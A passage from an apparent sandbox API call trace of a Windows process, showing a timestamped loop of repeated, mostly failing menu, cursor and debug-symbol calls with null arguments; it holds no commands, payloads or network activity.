fByPosition=0, lpmi=0x19fa20) returned 0 [0185.462] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.462] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=636, param_4=5, param_5=0x0, param_6=0x0) returned 0 [0185.462] GetLastError () returned 0x579 [0185.462] SetLastError (dwErrCode=0x579) [0185.462] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.462] SymCleanup (hProcess=0x0) returned 0 [0185.462] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.462] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.462] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.462] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.462] GetLastError () returned 0x579 [0185.462] SetLastError (dwErrCode=0x579) [0185.462] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.462] SymCleanup (hProcess=0x0) returned 0 [0185.462] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.462] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.462] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.462] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.462] GetLastError () returned 0x579 [0185.462] SetLastError (dwErrCode=0x579) [0185.462] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.462] SymCleanup (hProcess=0x0) returned 0 [0185.462] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.463] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.463] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.463] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.463] GetLastError () returned 0x579 [0185.463] SetLastError (dwErrCode=0x579) [0185.463] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.463] SymCleanup (hProcess=0x0) returned 0 [0185.463] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.463] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.463] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.463] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.463] GetLastError () returned 0x579 [0185.463] SetLastError (dwErrCode=0x579) [0185.463] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.463] SymCleanup (hProcess=0x0) returned 0 [0185.463] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.463] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.463] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.463] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1274, param_4=597, param_5=0x0, param_6=0x0) returned 0 [0185.463] GetLastError () returned 0x579 [0185.463] SetLastError (dwErrCode=0x579) [0185.463] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.463] SymCleanup (hProcess=0x0) returned 0 [0185.463] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.463] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.464] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.464] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.464] GetLastError () returned 0x579 [0185.464] SetLastError (dwErrCode=0x579) [0185.464] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.464] SymCleanup (hProcess=0x0) returned 0 [0185.464] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.464] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.464] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.464] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.464] GetLastError () returned 0x579 [0185.464] SetLastError (dwErrCode=0x579) [0185.464] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.464] SymCleanup (hProcess=0x0) returned 0 [0185.464] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.464] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.464] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.464] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.464] GetLastError () returned 0x579 [0185.464] SetLastError (dwErrCode=0x579) [0185.464] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.464] SymCleanup (hProcess=0x0) returned 0 [0185.464] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.464] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.464] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.465] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.465] GetLastError () returned 0x579 [0185.465] SetLastError (dwErrCode=0x579) [0185.465] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.465] SymCleanup (hProcess=0x0) returned 0 [0185.465] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.465] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.465] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.465] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=564, param_4=552, param_5=0x0, param_6=0x0) returned 0 [0185.465] GetLastError () returned 0x579 [0185.465] SetLastError (dwErrCode=0x579) [0185.465] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.465] SymCleanup (hProcess=0x0) returned 0 [0185.465] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.465] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.465] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.465] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.465] GetLastError () returned 0x579 [0185.465] SetLastError (dwErrCode=0x579) [0185.465] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.465] SymCleanup (hProcess=0x0) returned 0 [0185.465] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.465] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.465] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.466] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.466] GetLastError () returned 0x579 [0185.466] SetLastError (dwErrCode=0x579) [0185.466] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.466] SymCleanup (hProcess=0x0) returned 0 [0185.466] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.466] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.466] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.466] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.466] GetLastError () returned 0x579 [0185.466] SetLastError (dwErrCode=0x579) [0185.466] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.466] SymCleanup (hProcess=0x0) returned 0 [0185.466] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.466] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.466] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.466] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.466] GetLastError () returned 0x579 [0185.466] SetLastError (dwErrCode=0x579) [0185.466] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.466] SymCleanup (hProcess=0x0) returned 0 [0185.466] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.466] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.466] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.467] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=293, param_4=373, param_5=0x0, param_6=0x0) returned 0 [0185.467] GetLastError () returned 0x579 [0185.467] SetLastError (dwErrCode=0x579) [0185.467] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.467] SymCleanup (hProcess=0x0) returned 0 [0185.467] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.467] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.467] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.467] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.467] GetLastError () returned 0x579 [0185.467] SetLastError (dwErrCode=0x579) [0185.467] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.467] SymCleanup (hProcess=0x0) returned 0 [0185.467] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.467] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.467] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.467] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.467] GetLastError () returned 0x579 [0185.467] SetLastError (dwErrCode=0x579) [0185.467] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.467] SymCleanup (hProcess=0x0) returned 0 [0185.467] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.467] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.467] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.467] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.468] GetLastError () returned 0x579 [0185.468] SetLastError (dwErrCode=0x579) [0185.468] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.468] SymCleanup (hProcess=0x0) returned 0 [0185.468] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.468] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.468] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.468] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.468] GetLastError () returned 0x579 [0185.468] SetLastError (dwErrCode=0x579) [0185.468] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.468] SymCleanup (hProcess=0x0) returned 0 [0185.468] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.468] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.468] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.468] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=80, param_4=310, param_5=0x0, param_6=0x0) returned 0 [0185.468] GetLastError () returned 0x579 [0185.468] SetLastError (dwErrCode=0x579) [0185.468] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.468] SymCleanup (hProcess=0x0) returned 0 [0185.468] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.468] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.468] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.468] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.469] GetLastError () returned 0x579 [0185.469] SetLastError (dwErrCode=0x579) [0185.469] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.469] SymCleanup (hProcess=0x0) returned 0 [0185.469] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.469] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.469] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.469] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.469] GetLastError () returned 0x579 [0185.469] SetLastError (dwErrCode=0x579) [0185.469] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.469] SymCleanup (hProcess=0x0) returned 0 [0185.469] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.469] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.469] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.469] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.469] GetLastError () returned 0x579 [0185.469] SetLastError (dwErrCode=0x579) [0185.469] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.469] SymCleanup (hProcess=0x0) returned 0 [0185.469] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.469] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.469] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.469] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.469] GetLastError () returned 0x579 [0185.470] SetLastError (dwErrCode=0x579) [0185.470] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.470] SymCleanup (hProcess=0x0) returned 0 [0185.470] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.470] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.470] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.470] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=148, param_4=40, param_5=0x0, param_6=0x0) returned 0 [0185.470] GetLastError () returned 0x579 [0185.470] SetLastError (dwErrCode=0x579) [0185.470] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.470] SymCleanup (hProcess=0x0) returned 0 [0185.470] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.470] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.470] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.470] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.470] GetLastError () returned 0x579 [0185.470] SetLastError (dwErrCode=0x579) [0185.470] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.470] SymCleanup (hProcess=0x0) returned 0 [0185.470] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.470] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.470] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.470] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.470] GetLastError () returned 0x579 [0185.470] SetLastError (dwErrCode=0x579) [0185.471] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.471] SymCleanup (hProcess=0x0) returned 0 [0185.471] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.471] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.471] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.471] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.471] GetLastError () returned 0x579 [0185.471] SetLastError (dwErrCode=0x579) [0185.471] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.471] SymCleanup (hProcess=0x0) returned 0 [0185.471] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.471] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.471] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.471] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.471] GetLastError () returned 0x579 [0185.471] SetLastError (dwErrCode=0x579) [0185.471] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.471] SymCleanup (hProcess=0x0) returned 0 [0185.471] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.471] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.471] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.471] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=507, param_4=380, param_5=0x0, param_6=0x0) returned 0 [0185.471] GetLastError () returned 0x579 [0185.471] SetLastError (dwErrCode=0x579) [0185.471] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.472] SymCleanup (hProcess=0x0) returned 0 [0185.472] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.472] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.472] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.472] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.472] GetLastError () returned 0x579 [0185.472] SetLastError (dwErrCode=0x579) [0185.472] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.472] SymCleanup (hProcess=0x0) returned 0 [0185.472] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.472] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.472] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.472] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.472] GetLastError () returned 0x579 [0185.472] SetLastError (dwErrCode=0x579) [0185.472] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.472] SymCleanup (hProcess=0x0) returned 0 [0185.472] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.472] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.472] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.472] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.472] GetLastError () returned 0x579 [0185.472] SetLastError (dwErrCode=0x579) [0185.472] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.473] SymCleanup (hProcess=0x0) returned 0 [0185.473] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.473] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.473] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.473] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.473] GetLastError () returned 0x579 [0185.473] SetLastError (dwErrCode=0x579) [0185.473] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.473] SymCleanup (hProcess=0x0) returned 0 [0185.473] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.473] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.473] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.492] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=319, param_4=765, param_5=0x0, param_6=0x0) returned 0 [0185.493] GetLastError () returned 